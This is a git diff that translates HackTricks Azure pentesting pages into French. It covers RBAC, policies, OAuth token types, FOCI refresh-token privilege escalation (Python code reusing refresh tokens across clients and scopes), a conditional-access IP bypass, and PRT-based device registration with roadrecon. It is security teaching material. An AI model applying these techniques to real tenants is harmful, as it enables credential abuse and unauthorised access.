-This elevation can be done at the end of the page: [https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/\~/Properties](https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties)
+Les utilisateurs ayant le rôle de Global Administrator ont la capacité de '**s'élever' au rôle d'Administrateur d'Accès Utilisateur Azure dans le Groupe de Gestion Racine**. Ainsi, les Global Administrators peuvent gérer l'accès dans **toutes les souscriptions Azure et groupes de gestion.**\
+Cette élévation peut être effectuée en bas de la page : [https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/\~/Properties](https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties)
 
 <figure><img src="../../../images/image (349).png" alt=""><figcaption></figcaption></figure>
 
 ### Azure Policies
 
-**Azure Policies** are rules that help organizations ensure their resources meet specific standards and compliance requirements. They allow you to **enforce or audit settings on resources in Azure**. For example, you can prevent the creation of virtual machines in an unauthorized region or ensure that all resources have specific tags for tracking.
+**Les Azure Policies** sont des règles qui aident les organisations à s'assurer que leurs ressources répondent à des normes spécifiques et à des exigences de conformité. Elles vous permettent de **faire respecter ou d'auditer les paramètres sur les ressources dans Azure**. Par exemple, vous pouvez empêcher la création de machines virtuelles dans une région non autorisée ou vous assurer que toutes les ressources ont des balises spécifiques pour le suivi.
 
-Azure Policies are **proactive**: they can stop non-compliant resources from being created or changed. They are also **reactive**, allowing you to find and fix existing non-compliant resources.
+Les Azure Policies sont **proactives** : elles peuvent empêcher la création ou la modification de ressources non conformes. Elles sont également **réactives**, vous permettant de trouver et de corriger les ressources non conformes existantes.
 
 #### **Key Concepts**
 
-1. **Policy Definition**: A rule, written in JSON, that specifies what is allowed or required.
-2. **Policy Assignment**: The application of a policy to a specific scope (e.g., subscription, resource group).
-3. **Initiatives**: A collection of policies grouped together for broader enforcement.
-4. **Effect**: Specifies what happens when the policy is triggered (e.g., "Deny," "Audit," or "Append").
+1. **Définition de la politique** : Une règle, écrite en JSON, qui spécifie ce qui est autorisé ou requis.
+2. **Attribution de la politique** : L'application d'une politique à un champ spécifique (par exemple, souscription, groupe de ressources).
+3. **Initiatives** : Une collection de politiques regroupées pour une application plus large.
+4. **Effet** : Spécifie ce qui se passe lorsque la politique est déclenchée (par exemple, "Refuser", "Auditer" ou "Ajouter").
 
-**Some examples:**
+**Quelques exemples :**
 
-1. **Ensuring Compliance with Specific Azure Regions**: This policy ensures that all resources are deployed in specific Azure regions. For example, a company might want to ensure all its data is stored in Europe for GDPR compliance.
-2. **Enforcing Naming Standards**: Policies can enforce naming conventions for Azure resources. This helps in organizing and easily identifying resources based on their names, which is helpful in large environments.
-3. **Restricting Certain Resource Types**: This policy can restrict the creation of certain types of resources. For example, a policy could be set to prevent the creation of expensive resource types, like certain VM sizes, to control costs.
-4. **Enforcing Tagging Policies**: Tags are key-value pairs associated with Azure resources used for resource management. Policies can enforce that certain tags must be present, or have specific values, for all resources. This is useful for cost tracking, ownership, or categorization of resources.
-5. **Limiting Public Access to Resources**: Policies can enforce that certain resources, like storage accounts or databases, do not have public endpoints, ensuring that they are only accessible within the organization's network.
-6. **Automatically Applying Security Settings**: Policies can be used to automatically apply security settings to resources, such as applying a specific network security group to all VMs or ensuring that all storage accounts use encryption.
+1. **Assurer la conformité avec des régions Azure spécifiques** : Cette politique garantit que toutes les ressources sont déployées dans des régions Azure spécifiques. Par exemple, une entreprise pourrait vouloir s'assurer que toutes ses données sont stockées en Europe pour la conformité au RGPD.
+2. **Faire respecter les normes de nommage** : Les politiques peuvent faire respecter des conventions de nommage pour les ressources Azure. Cela aide à organiser et à identifier facilement les ressources en fonction de leurs noms, ce qui est utile dans de grands environnements.
+3. **Restreindre certains types de ressources** : Cette politique peut restreindre la création de certains types de ressources. Par exemple, une politique pourrait être définie pour empêcher la création de types de ressources coûteux, comme certaines tailles de VM, pour contrôler les coûts.
+4. **Faire respecter les politiques de balisage** : Les balises sont des paires clé-valeur associées aux ressources Azure utilisées pour la gestion des ressources. Les politiques peuvent faire respecter que certaines balises doivent être présentes, ou avoir des valeurs spécifiques, pour toutes les ressources. Cela est utile pour le suivi des coûts, la propriété ou la catégorisation des ressources.
+5. **Limiter l'accès public aux ressources** : Les politiques peuvent faire respecter que certaines ressources, comme les comptes de stockage ou les bases de données, n'ont pas de points de terminaison publics, garantissant qu'elles ne sont accessibles que dans le réseau de l'organisation.
+6. **Appliquer automatiquement les paramètres de sécurité** : Les politiques peuvent être utilisées pour appliquer automatiquement des paramètres de sécurité aux ressources, comme appliquer un groupe de sécurité réseau spécifique à toutes les VM ou s'assurer que tous les comptes de stockage utilisent le chiffrement.
 
-Note that Azure Policies can be attached to any level of the Azure hierarchy, but they are **commonly used in the root management group** or in other management groups.
-
-Azure policy json example:
+Notez que les Azure Policies peuvent être attachées à n'importe quel niveau de la hiérarchie Azure, mais elles sont **généralement utilisées dans le groupe de gestion racine** ou dans d'autres groupes de gestion.
 
+Exemple de json de politique Azure :
 ```json
 {
-  "policyRule": {
-    "if": {
-      "field": "location",
-      "notIn": ["eastus", "westus"]
-    },
-    "then": {
-      "effect": "Deny"
-    }
-  },
-  "parameters": {},
-  "displayName": "Allow resources only in East US and West US",
-  "description": "This policy ensures that resources can only be created in East US or West US.",
-  "mode": "All"
+"policyRule": {
+"if": {
+"field": "location",
+"notIn": ["eastus", "westus"]
+},
+"then": {
+"effect": "Deny"
+}
+},
+"parameters": {},
+"displayName": "Allow resources only in East US and West US",
+"description": "This policy ensures that resources can only be created in East US or West US.",
+"mode": "All"
 }
 ```
+### Héritage des Permissions
 
-### Permissions Inheritance
+Dans Azure, **les permissions peuvent être attribuées à n'importe quelle partie de la hiérarchie**. Cela inclut les groupes de gestion, les abonnements, les groupes de ressources et les ressources individuelles. Les permissions sont **héritées** par les **ressources** contenues de l'entité où elles ont été attribuées.
 
-In Azure **permissions are can be assigned to any part of the hierarchy**. That includes management groups, subscriptions, resource groups, and individual resources. Permissions are **inherited** by contained **resources** of the entity where they were assigned.
-
-This hierarchical structure allows for efficient and scalable management of access permissions.
+Cette structure hiérarchique permet une gestion efficace et évolutive des permissions d'accès.
 
 <figure><img src="../../../images/image (26).png" alt=""><figcaption></figcaption></figure>
 
 ### Azure RBAC vs ABAC
 
-**RBAC** (role-based access control) is what we have seen already in the previous sections: **Assigning a role to a principal to grant him access** over a resource.\
-However, in some cases you might want to provide **more fined-grained access management** or **simplify** the management of **hundreds** of role **assignments**.
+**RBAC** (contrôle d'accès basé sur les rôles) est ce que nous avons déjà vu dans les sections précédentes : **Attribuer un rôle à un principal pour lui accorder l'accès** à une ressource.\
+Cependant, dans certains cas, vous pourriez vouloir fournir une **gestion des accès plus granulaire** ou **simplifier** la gestion de **centaines** d'assignations de rôles.
 
-Azure **ABAC** (attribute-based access control) builds on Azure RBAC by adding **role assignment conditions based on attributes** in the context of specific actions. A _role assignment condition_ is an **additional check that you can optionally add to your role assignment** to provide more fine-grained access control. A condition filters down permissions granted as a part of the role definition and role assignment. For example, you can **add a condition that requires an object to have a specific tag to read the object**.\
-You **cannot** explicitly **deny** **access** to specific resources **using conditions**.
+Azure **ABAC** (contrôle d'accès basé sur les attributs) s'appuie sur Azure RBAC en ajoutant des **conditions d'assignation de rôle basées sur des attributs** dans le contexte d'actions spécifiques. Une _condition d'assignation de rôle_ est un **vérification supplémentaire que vous pouvez optionnellement ajouter à votre assignation de rôle** pour fournir un contrôle d'accès plus granulaire. Une condition filtre les permissions accordées dans le cadre de la définition de rôle et de l'assignation de rôle. Par exemple, vous pouvez **ajouter une condition qui exige qu'un objet ait une étiquette spécifique pour lire l'objet**.\
+Vous **ne pouvez pas** explicitement **refuser** l'**accès** à des ressources spécifiques **en utilisant des conditions**.
 
-## References
+## Références
 
 - [https://learn.microsoft.com/en-us/azure/governance/management-groups/overview](https://learn.microsoft.com/en-us/azure/governance/management-groups/overview)
 - [https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-best-practices/organize-subscriptions](https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-best-practices/organize-subscriptions)
@@ -379,7 +375,3 @@ You **cannot** explicitly **deny** **access** to specific resources **using cond
 - [https://stackoverflow.com/questions/65922566/what-are-the-differences-between-service-principal-and-app-registration](https://stackoverflow.com/questions/65922566/what-are-the-differences-between-service-principal-and-app-registration)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md
index d076e723a..b523c24f1 100644
--- a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md
+++ b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md
@@ -4,98 +4,97 @@
 
 ## Basic Information
 
-Entra ID is Microsoft's cloud-based identity and access management (IAM) platform, serving as the foundational authentication and authorization system for services like Microsoft 365 and Azure Resource Manager. Azure AD implements the OAuth 2.0 authorization framework and the OpenID Connect (OIDC) authentication protocol to manage access to resources.
+Entra ID est la plateforme de gestion des identités et des accès (IAM) basée sur le cloud de Microsoft, servant de système d'authentification et d'autorisation fondamental pour des services comme Microsoft 365 et Azure Resource Manager. Azure AD implémente le cadre d'autorisation OAuth 2.0 et le protocole d'authentification OpenID Connect (OIDC) pour gérer l'accès aux ressources.
 
 ### OAuth
 
-**Key Participants in OAuth 2.0:**
+**Participants clés dans OAuth 2.0 :**
 
-1. **Resource Server (RS):** Protects resources owned by the resource owner.
-2. **Resource Owner (RO):** Typically an end-user who owns the protected resources.
-3. **Client Application (CA):** An application seeking access to resources on behalf of the resource owner.
-4. **Authorization Server (AS):** Issues access tokens to client applications after authenticating and authorizing them.
+1. **Serveur de ressources (RS) :** Protège les ressources appartenant au propriétaire des ressources.
+2. **Propriétaire des ressources (RO) :** Typiquement un utilisateur final qui possède les ressources protégées.
+3. **Application cliente (CA) :** Une application cherchant à accéder aux ressources au nom du propriétaire des ressources.
+4. **Serveur d'autorisation (AS) :** Délivre des jetons d'accès aux applications clientes après les avoir authentifiées et autorisées.
 
-**Scopes and Consent:**
+**Scopes et Consentement :**
 
-- **Scopes:** Granular permissions defined on the resource server that specify access levels.
-- **Consent:** The process by which a resource owner grants a client application permission to access resources with specific scopes.
+- **Scopes :** Permissions granulaires définies sur le serveur de ressources qui spécifient les niveaux d'accès.
+- **Consentement :** Le processus par lequel un propriétaire de ressources accorde à une application cliente la permission d'accéder aux ressources avec des scopes spécifiques.
 
-**Microsoft 365 Integration:**
+**Intégration Microsoft 365 :**
 
-- Microsoft 365 utilizes Azure AD for IAM and is composed of multiple "first-party" OAuth applications.
-- These applications are deeply integrated and often have interdependent service relationships.
-- To simplify user experience and maintain functionality, Microsoft grants "implied consent" or "pre-consent" to these first-party applications.
-- **Implied Consent:** Certain applications are automatically **granted access to specific scopes without explicit user or administrator approva**l.
-- These pre-consented scopes are typically hidden from both users and administrators, making them less visible in standard management interfaces.
+- Microsoft 365 utilise Azure AD pour l'IAM et est composé de plusieurs applications OAuth "de première partie".
+- Ces applications sont profondément intégrées et ont souvent des relations de service interdépendantes.
+- Pour simplifier l'expérience utilisateur et maintenir la fonctionnalité, Microsoft accorde un "consentement implicite" ou un "pré-consentement" à ces applications de première partie.
+- **Consentement implicite :** Certaines applications se voient automatiquement **accorder l'accès à des scopes spécifiques sans approbation explicite de l'utilisateur ou de l'administrateur**.
+- Ces scopes pré-consentis sont généralement cachés à la fois des utilisateurs et des administrateurs, les rendant moins visibles dans les interfaces de gestion standard.
 
-**Client Application Types:**
+**Types d'applications clientes :**
 
-1. **Confidential Clients:**
-   - Possess their own credentials (e.g., passwords or certificates).
-   - Can **securely authenticate themselves** to the authorization server.
-2. **Public Clients:**
-   - Do not have unique credentials.
-   - Cannot securely authenticate to the authorization server.
-   - **Security Implication:** An attacker can impersonate a public client application when requesting tokens, as there is no mechanism for the authorization server to verify the legitimacy of the application.
+1. **Clients confidentiels :**
+- Possèdent leurs propres identifiants (par exemple, mots de passe ou certificats).
+- Peuvent **s'authentifier de manière sécurisée** auprès du serveur d'autorisation.
+2. **Clients publics :**
+- N'ont pas d'identifiants uniques.
+- Ne peuvent pas s'authentifier de manière sécurisée auprès du serveur d'autorisation.
+- **Implication de sécurité :** Un attaquant peut usurper une application cliente publique lors de la demande de jetons, car il n'existe aucun mécanisme pour que le serveur d'autorisation vérifie la légitimité de l'application.
 
 ## Authentication Tokens
 
-There are **three types of tokens** used in OIDC:
+Il existe **trois types de jetons** utilisés dans OIDC :
 
-- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** The client presents this token to the resource server to **access resources**. It can be used only for a specific combination of user, client, and resource and **cannot be revoked** until expiry - that is 1 hour by default.
-- **ID Tokens**: The client receives this **token from the authorization server**. It contains basic information about the user. It is **bound to a specific combination of user and client**.
-- **Refresh Tokens**: Provided to the client with access token. Used to **get new access and ID tokens**. It is bound to a specific combination of user and client and can be revoked. Default expiry is **90 days** for inactive refresh tokens and **no expiry for active tokens** (be from a refresh token is possible to get new refresh tokens).
-  - A refresh token should be tied to an **`aud`** , to some **scopes**, and to a **tenant** and it should only be able to generate access tokens for that aud, scopes (and no more) and tenant. However, this is not the case with **FOCI applications tokens**.
-  - A refresh token is encrypted and only Microsoft can decrypt it.
-  - Getting a new refresh token doesn't revoke the previous refresh token.
+- [**Jetons d'accès**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** Le client présente ce jeton au serveur de ressources pour **accéder aux ressources**. Il ne peut être utilisé que pour une combinaison spécifique d'utilisateur, de client et de ressource et **ne peut pas être révoqué** jusqu'à son expiration - c'est-à-dire 1 heure par défaut.
+- **Jetons ID** : Le client reçoit ce **jeton du serveur d'autorisation**. Il contient des informations de base sur l'utilisateur. Il est **lié à une combinaison spécifique d'utilisateur et de client**.
+- **Jetons de rafraîchissement** : Fournis au client avec le jeton d'accès. Utilisés pour **obtenir de nouveaux jetons d'accès et ID**. Il est lié à une combinaison spécifique d'utilisateur et de client et peut être révoqué. L'expiration par défaut est de **90 jours** pour les jetons de rafraîchissement inactifs et **pas d'expiration pour les jetons actifs** (il est possible d'obtenir de nouveaux jetons de rafraîchissement à partir d'un jeton de rafraîchissement).
+- Un jeton de rafraîchissement doit être lié à un **`aud`**, à certains **scopes**, et à un **tenant** et il ne devrait pouvoir générer des jetons d'accès que pour cet aud, ces scopes (et pas plus) et ce tenant. Cependant, ce n'est pas le cas avec les **jetons d'applications FOCI**.
+- Un jeton de rafraîchissement est crypté et seul Microsoft peut le déchiffrer.
+- Obtenir un nouveau jeton de rafraîchissement ne révoque pas le jeton de rafraîchissement précédent.
 
 > [!WARNING]
-> Information for **conditional access** is **stored** inside the **JWT**. So, if you request the **token from an allowed IP address**, that **IP** will be **stored** in the token and then you can use that token from a **non-allowed IP to access the resources**.
+> Les informations pour **l'accès conditionnel** sont **stockées** à l'intérieur du **JWT**. Donc, si vous demandez le **jeton depuis une adresse IP autorisée**, cette **IP** sera **stockée** dans le jeton et vous pourrez ensuite utiliser ce jeton depuis une **IP non autorisée pour accéder aux ressources**.
 
 ### Access Tokens "aud"
 
-The field indicated in the "aud" field is the **resource server** (the application) used to perform the login.
+Le champ indiqué dans le champ "aud" est le **serveur de ressources** (l'application) utilisé pour effectuer la connexion.
 
-The command `az account get-access-token --resource-type [...]` supports the following types and each of them will add a specific "aud" in the resulting access token:
+La commande `az account get-access-token --resource-type [...]` prend en charge les types suivants et chacun d'eux ajoutera un "aud" spécifique dans le jeton d'accès résultant :
 
 > [!CAUTION]
-> Note that the following are just the APIs supported by `az account get-access-token` but there are more.
+> Notez que les éléments suivants ne sont que les API prises en charge par `az account get-access-token`, mais il y en a d'autres.
 
 <details>
 
-<summary>aud examples</summary>
+<summary>exemples d'aud</summary>
 
-- **aad-graph (Azure Active Directory Graph API)**: Used to access the legacy Azure AD Graph API (deprecated), which allows applications to read and write directory data in Azure Active Directory (Azure AD).
-  - `https://graph.windows.net/`
+- **aad-graph (Azure Active Directory Graph API)** : Utilisé pour accéder à l'API Azure AD Graph héritée (dépréciée), qui permet aux applications de lire et d'écrire des données d'annuaire dans Azure Active Directory (Azure AD).
+- `https://graph.windows.net/`
 
-* **arm (Azure Resource Manager)**: Used to manage Azure resources through the Azure Resource Manager API. This includes operations like creating, updating, and deleting resources such as virtual machines, storage accounts, and more.
-  - `https://management.core.windows.net/ or https://management.azure.com/`
+* **arm (Azure Resource Manager)** : Utilisé pour gérer les ressources Azure via l'API Azure Resource Manager. Cela inclut des opérations telles que la création, la mise à jour et la suppression de ressources telles que des machines virtuelles, des comptes de stockage, et plus encore.
+- `https://management.core.windows.net/ ou https://management.azure.com/`
 
-- **batch (Azure Batch Services)**: Used to access Azure Batch, a service that enables large-scale parallel and high-performance computing applications efficiently in the cloud.
-  - `https://batch.core.windows.net/`
+- **batch (Azure Batch Services)** : Utilisé pour accéder à Azure Batch, un service qui permet d'exécuter efficacement des applications de calcul parallèle à grande échelle et à haute performance dans le cloud.
+- `https://batch.core.windows.net/`
 
-* **data-lake (Azure Data Lake Storage)**: Used to interact with Azure Data Lake Storage Gen1, which is a scalable data storage and analytics service.
-  - `https://datalake.azure.net/`
+* **data-lake (Azure Data Lake Storage)** : Utilisé pour interagir avec Azure Data Lake Storage Gen1, qui est un service de stockage et d'analyse de données évolutif.
+- `https://datalake.azure.net/`
 
-- **media (Azure Media Services)**: Used to access Azure Media Services, which provide cloud-based media processing and delivery services for video and audio content.
-  - `https://rest.media.azure.net`
+- **media (Azure Media Services)** : Utilisé pour accéder à Azure Media Services, qui fournissent des services de traitement et de livraison de médias basés sur le cloud pour le contenu vidéo et audio.
+- `https://rest.media.azure.net`
 
-* **ms-graph (Microsoft Graph API)**: Used to access the Microsoft Graph API, the unified endpoint for Microsoft 365 services data. It allows you to access data and insights from services like Azure AD, Office 365, Enterprise Mobility, and Security services.
-  - `https://graph.microsoft.com`
+* **ms-graph (Microsoft Graph API)** : Utilisé pour accéder à l'API Microsoft Graph, le point de terminaison unifié pour les données des services Microsoft 365. Il permet d'accéder aux données et aux informations des services tels qu'Azure AD, Office 365, Enterprise Mobility et les services de sécurité.
+- `https://graph.microsoft.com`
 
-- **oss-rdbms (Azure Open Source Relational Databases)**: Used to access Azure Database services for open-source relational database engines like MySQL, PostgreSQL, and MariaDB.
-  - `https://ossrdbms-aad.database.windows.net`
+- **oss-rdbms (Azure Open Source Relational Databases)** : Utilisé pour accéder aux services de base de données Azure pour des moteurs de bases de données relationnelles open-source comme MySQL, PostgreSQL et MariaDB.
+- `https://ossrdbms-aad.database.windows.net`
 
 </details>
 
 ### Access Tokens Scopes "scp"
 
-The scope of an access token is stored inside the scp key inside the access token JWT. These scopes define what the access token has access to.
+Le scope d'un jeton d'accès est stocké à l'intérieur de la clé scp dans le JWT du jeton d'accès. Ces scopes définissent à quoi le jeton d'accès a accès.
 
-If a JWT is allowed to contact an specific API but **doesn't have the scope** to perform the requested action, it **won't be able to perform the action** with that JWT.
+Si un JWT est autorisé à contacter une API spécifique mais **n'a pas le scope** pour effectuer l'action demandée, il **ne pourra pas effectuer l'action** avec ce JWT.
 
 ### Get refresh & access token example
-
 ```python
 # Code example from https://github.com/secureworks/family-of-client-ids-research
 import msal
@@ -107,17 +106,17 @@ from typing import Any, Dict, List
 
 # LOGIN VIA CODE FLOW AUTHENTICATION
 azure_cli_client = msal.PublicClientApplication(
-    "04b07795-8ddb-461a-bbee-02f9e1bf7b46" # ID for Azure CLI client
+"04b07795-8ddb-461a-bbee-02f9e1bf7b46" # ID for Azure CLI client
 )
 device_flow = azure_cli_client.initiate_device_flow(
-    scopes=["https://graph.microsoft.com/.default"]
+scopes=["https://graph.microsoft.com/.default"]
 )
 print(device_flow["message"])
 
 # Perform device code flow authentication
 
 azure_cli_bearer_tokens_for_graph_api = azure_cli_client.acquire_token_by_device_flow(
-    device_flow
+device_flow
 )
 pprint(azure_cli_bearer_tokens_for_graph_api)
 
@@ -125,83 +124,74 @@ pprint(azure_cli_bearer_tokens_for_graph_api)
 
 # DECODE JWT
 def decode_jwt(base64_blob: str) -> Dict[str, Any]:
-    """Decodes base64 encoded JWT blob"""
-    return jwt.decode(
-        base64_blob, options={"verify_signature": False, "verify_aud": False}
-    )
+"""Decodes base64 encoded JWT blob"""
+return jwt.decode(
+base64_blob, options={"verify_signature": False, "verify_aud": False}
+)
 decoded_access_token = decode_jwt(
-    azure_cli_bearer_tokens_for_graph_api.get("access_token")
+azure_cli_bearer_tokens_for_graph_api.get("access_token")
 )
 pprint(decoded_access_token)
 
 
 # GET NEW ACCESS TOKEN AND REFRESH TOKEN
 new_azure_cli_bearer_tokens_for_graph_api = (
-    # Same client as original authorization
-    azure_cli_client.acquire_token_by_refresh_token(
-        azure_cli_bearer_tokens_for_graph_api.get("refresh_token"),
-        # Same scopes as original authorization
-        scopes=["https://graph.microsoft.com/.default"],
-    )
+# Same client as original authorization
+azure_cli_client.acquire_token_by_refresh_token(
+azure_cli_bearer_tokens_for_graph_api.get("refresh_token"),
+# Same scopes as original authorization
+scopes=["https://graph.microsoft.com/.default"],
+)
 )
 pprint(new_azure_cli_bearer_tokens_for_graph_api)
 ```
+## Escalade de privilèges des jetons FOCI
 
-## FOCI Tokens Privilege Escalation
+Il a été mentionné précédemment que les jetons d'actualisation doivent être liés aux **portées** avec lesquelles ils ont été générés, à l'**application** et au **locataire** pour lesquels ils ont été générés. Si l'une de ces limites est franchie, il est possible d'escalader les privilèges car il sera possible de générer des jetons d'accès pour d'autres ressources et locataires auxquels l'utilisateur a accès et avec plus de portées que ce qui était initialement prévu.
 
-Previously it was mentioned that refresh tokens should be tied to the **scopes** it was generated with, to the **application** and **tenant** it was generated to. If any of these boundaries is broken, it's possible to escalate privileges as it will be possible to generate access tokens to other resources and tenants the user has access to and with more scopes than it was originally intended.
+De plus, **cela est possible avec tous les jetons d'actualisation** dans la [plateforme d'identité Microsoft](https://learn.microsoft.com/en-us/entra/identity-platform/) (comptes Microsoft Entra, comptes personnels Microsoft et comptes sociaux comme Facebook et Google) car comme le mentionnent les [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) : "Les jetons d'actualisation sont liés à une combinaison d'utilisateur et de client, mais **ne sont pas liés à une ressource ou à un locataire**. Un client peut utiliser un jeton d'actualisation pour acquérir des jetons d'accès **à travers n'importe quelle combinaison de ressource et de locataire** où il a la permission de le faire. Les jetons d'actualisation sont cryptés et seule la plateforme d'identité Microsoft peut les lire."
 
-Moreover, **this is possible with all refresh tokens** in the [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google) because as the [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) mention: "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them."
+De plus, notez que les applications FOCI sont des applications publiques, donc **aucun secret n'est nécessaire** pour s'authentifier auprès du serveur.
 
-Moreover, note that the FOCI applications are public applications, so **no secret is needed** to authenticate to the server.
+Ensuite, les clients FOCI connus rapportés dans la [**recherche originale**](https://github.com/secureworks/family-of-client-ids-research/tree/main) peuvent être [**trouvés ici**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv).
 
-Then known FOCI clients reported in the [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) can be [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv).
-
-### Get different scope
-
-Following with the previous example code, in this code it's requested a new token for a different scope:
+### Obtenir une portée différente
 
+En suivant l'exemple de code précédent, dans ce code, un nouveau jeton est demandé pour une portée différente :
 ```python
 # Code from https://github.com/secureworks/family-of-client-ids-research
 azure_cli_bearer_tokens_for_outlook_api = (
-    # Same client as original authorization
-    azure_cli_client.acquire_token_by_refresh_token(
-        new_azure_cli_bearer_tokens_for_graph_api.get(
-            "refresh_token"
-        ),
-        # But different scopes than original authorization
-        scopes=[
-            "https://outlook.office.com/.default"
-        ],
-    )
+# Same client as original authorization
+azure_cli_client.acquire_token_by_refresh_token(
+new_azure_cli_bearer_tokens_for_graph_api.get(
+"refresh_token"
+),
+# But different scopes than original authorization
+scopes=[
+"https://outlook.office.com/.default"
+],
+)
 )
 pprint(azure_cli_bearer_tokens_for_outlook_api)
 ```
-
-### Get different client and scopes
-
+### Obtenir différents clients et portées
 ```python
 # Code from https://github.com/secureworks/family-of-client-ids-research
 microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c")
 microsoft_office_bearer_tokens_for_graph_api = (
-    # This is a different client application than we used in the previous examples
-    microsoft_office_client.acquire_token_by_refresh_token(
-        # But we can use the refresh token issued to our original client application
-        azure_cli_bearer_tokens_for_outlook_api.get("refresh_token"),
-        # And request different scopes too
-        scopes=["https://graph.microsoft.com/.default"],
-    )
+# This is a different client application than we used in the previous examples
+microsoft_office_client.acquire_token_by_refresh_token(
+# But we can use the refresh token issued to our original client application
+azure_cli_bearer_tokens_for_outlook_api.get("refresh_token"),
+# And request different scopes too
+scopes=["https://graph.microsoft.com/.default"],
+)
 )
 # How is this possible?
 pprint(microsoft_office_bearer_tokens_for_graph_api)
 ```
-
-## References
+## Références
 
 - [https://github.com/secureworks/family-of-client-ids-research](https://github.com/secureworks/family-of-client-ids-research)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/azure-security/az-device-registration.md b/src/pentesting-cloud/azure-security/az-device-registration.md
index 5fe503c0b..8286577f8 100644
--- a/src/pentesting-cloud/azure-security/az-device-registration.md
+++ b/src/pentesting-cloud/azure-security/az-device-registration.md
@@ -2,23 +2,21 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Basic Information
+## Informations de base
 
-When a device joins AzureAD a new object is created in AzureAD.
+Lorsqu'un appareil rejoint AzureAD, un nouvel objet est créé dans AzureAD.
 
-When registering a device, the **user is asked to login with his account** (asking for MFA if needed), then it request tokens for the device registration service and then ask a final confirmation prompt.
+Lors de l'enregistrement d'un appareil, **l'utilisateur est invité à se connecter avec son compte** (demandant une MFA si nécessaire), puis il demande des jetons pour le service d'enregistrement des appareils et demande ensuite une confirmation finale.
 
-Then, two RSA keypairs are generated in the device: The **device key** (**public** key) which is sent to **AzureAD** and the **transport** key (**private** key) which is stored in TPM if possible.
-
-Then, the **object** is generated in **AzureAD** (not in Intune) and AzureAD gives back to the device a **certificate** signed by it. You can check that the **device is AzureAD joined** and info about the **certificate** (like if it's protected by TPM).:
+Ensuite, deux paires de clés RSA sont générées dans l'appareil : La **clé de l'appareil** (**clé publique**) qui est envoyée à **AzureAD** et la **clé de transport** (**clé privée**) qui est stockée dans le TPM si possible.
 
+Ensuite, l'**objet** est généré dans **AzureAD** (pas dans Intune) et AzureAD renvoie à l'appareil un **certificat** signé par lui. Vous pouvez vérifier que **l'appareil est joint à AzureAD** et obtenir des informations sur le **certificat** (comme s'il est protégé par le TPM).
 ```bash
 dsregcmd /status
 ```
+Après l'enregistrement de l'appareil, un **Primary Refresh Token** est demandé par le module LSASS CloudAP et donné à l'appareil. Avec le PRT est également livré la **clé de session chiffrée afin que seul l'appareil puisse la déchiffrer** (en utilisant la clé publique de la clé de transport) et elle est **nécessaire pour utiliser le PRT.**
 
-After the device registration a **Primary Refresh Token** is requested by the LSASS CloudAP module and given to the device. With the PRT is also delivered the **session key encrypted so only the device can decrypt it** (using the public key of the transport key) and it's **needed to use the PRT.**
-
-For more information about what is a PRT check:
+Pour plus d'informations sur ce qu'est un PRT, consultez :
 
 {{#ref}}
 az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
@@ -26,19 +24,18 @@ az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
 
 ### TPM - Trusted Platform Module
 
-The **TPM** **protects** against key **extraction** from a powered down device (if protected by PIN) nd from extracting the private material from the OS layer.\
-But it **doesn't protect** against **sniffing** the physical connection between the TPM and CPU or **using the cryptograpic material** in the TPM while the system is running from a process with **SYSTEM** rights.
+Le **TPM** **protège** contre l'extraction de clés **d'un appareil éteint** (s'il est protégé par un code PIN) et contre l'extraction du matériel privé de la couche OS.\
+Mais il **ne protège pas** contre le **sniffing** de la connexion physique entre le TPM et le CPU ou **l'utilisation du matériel cryptographique** dans le TPM pendant que le système fonctionne à partir d'un processus avec des droits **SYSTEM**.
 
-If you check the following page you will see that **stealing the PRT** can be used to access like a the **user**, which is great because the **PRT is located devices**, so it can be stolen from them (or if not stolen abused to generate new signing keys):
+Si vous consultez la page suivante, vous verrez que **voler le PRT** peut être utilisé pour accéder comme un **utilisateur**, ce qui est génial car le **PRT est situé sur les appareils**, donc il peut être volé à partir d'eux (ou s'il n'est pas volé, abusé pour générer de nouvelles clés de signature) :
 
 {{#ref}}
 az-lateral-movement-cloud-on-prem/pass-the-prt.md
 {{#endref}}
 
-## Registering a device with SSO tokens
-
-It would be possible for an attacker to request a token for the Microsoft device registration service from the compromised device and register it:
+## Enregistrement d'un appareil avec des jetons SSO
 
+Il serait possible pour un attaquant de demander un jeton pour le service d'enregistrement des appareils Microsoft depuis l'appareil compromis et de l'enregistrer :
 ```bash
 # Initialize SSO flow
 roadrecon auth prt-init
@@ -50,49 +47,46 @@ roadrecon auth -r 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9 --prt-cookie <cookie>
 # Custom pyhton script to register a device (check roadtx)
 registerdevice.py
 ```
-
